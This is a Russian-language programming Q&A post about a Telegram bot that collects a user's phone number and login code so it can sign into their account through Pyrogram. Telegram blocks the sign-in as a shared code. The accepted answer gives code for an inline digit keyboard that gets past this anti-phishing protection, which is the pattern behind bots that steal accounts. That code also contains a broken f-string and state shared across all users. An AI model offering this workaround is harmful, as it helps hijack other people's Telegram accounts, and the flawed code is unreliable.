Функция входа пользователя в Pyrogram

Такая проблема, нужно сделать функцию которая будет осуществлять вход пользователя через телеграм бота с помощью Client.sign_in() но получаю ошибку, что время кода истекло. А поддержка телеграмма говорит следующее:

Никто не получил доступ к Вашей переписке, потому что входа в аккаунт не произошло. Код был введен верно, но вход был заблокирован, поскольку ранее Вы сообщили этот код со своего аккаунта.

Как я понимаю это сам тг блокирует, но не понимаю почему.

вот фрагменты из кода:

  app = Client(name='name',api_id=api_id,api_hash=api_hash)
  app.connect()
  ... 
  @dp.message_handler(state=ClientStatesGroup.number)
async def number_set(message: types.Message, state: FSMContext):
  async with state.proxy() as data:
    data['number'] = message.text
  async with state.proxy() as data:
    sCode_coroutine = app.send_code(data['number'])
    sCode = await sCode_coroutine
    data['sCode'] = sCode

  await ClientStatesGroup.next()
  await message.answer(text='А теперь отправь код который пришел в телеграм')
  ....
@dp.message_handler(state=ClientStatesGroup.code)
    async def code_set(message: types.Message, state: FSMContext):
         async with state.proxy() as data:
             data['code'] = message.text

         async with state.proxy() as data:
             await app.sign_in(data['number'], data['sCode'].__dict__['phone_code_hash'], data['code'])
     await message.answer(text='Все успешно сделано', reply_markup=startkb)


Ответы (1 шт):

Автор решения: PoVeL

Сам телеграм не позволяет отправлять коды от имени аккаунта, которому они пришли, поэтому сделаем ввод кода на клавиатуре в боте.

numbers_kb = InlineKeyboardMarkup(inline_keyboard=[[
    InlineKeyboardButton(text='1', callback_data="num-1"),
    InlineKeyboardButton(text='2', callback_data="num-2"),
    InlineKeyboardButton(text='3', callback_data="num-3")],[
    InlineKeyboardButton(text='4', callback_data="num-4"),
    InlineKeyboardButton(text='5', callback_data="num-5"),
    InlineKeyboardButton(text='6', callback_data="num-6")],[
    InlineKeyboardButton(text='7', callback_data="num-7"),
    InlineKeyboardButton(text='8', callback_data="num-8"),
    InlineKeyboardButton(text='9', callback_data="num-9")],[
    InlineKeyboardButton(text='♻️', callback_data="reset-code"),
    InlineKeyboardButton(text='0', callback_data="num-0"),
    InlineKeyboardButton(text="✅", callback_data='submit-code')
]])
class Code():
    code = ''

@dp.callback_query()
async def keyboard(call: CallbackQuery):
    if 'num' in call.data:
        number = call.data.split('-')[1]
        code = Code.code
        Code.code = code + str(number)
        print(Code.code)
        await call.message.edit_text(
            text=f"Введите код из пуш-уведомления:\n <blockquote>{Code.code </blockquote>", 
            reply_markup=numbers_kb, parse_mode="html")
    if "submit" in call.data:
        await call.message.answer(text=f"submited: {Code.code}")
    if "reset" in call.data:
        Code.code = ''
        await call.message.edit_text(
            text=f"Введите код из пуш-уведомления:\n",
            reply_markup=numbers_kb, parse_mode="html")

Результат

→ Ссылка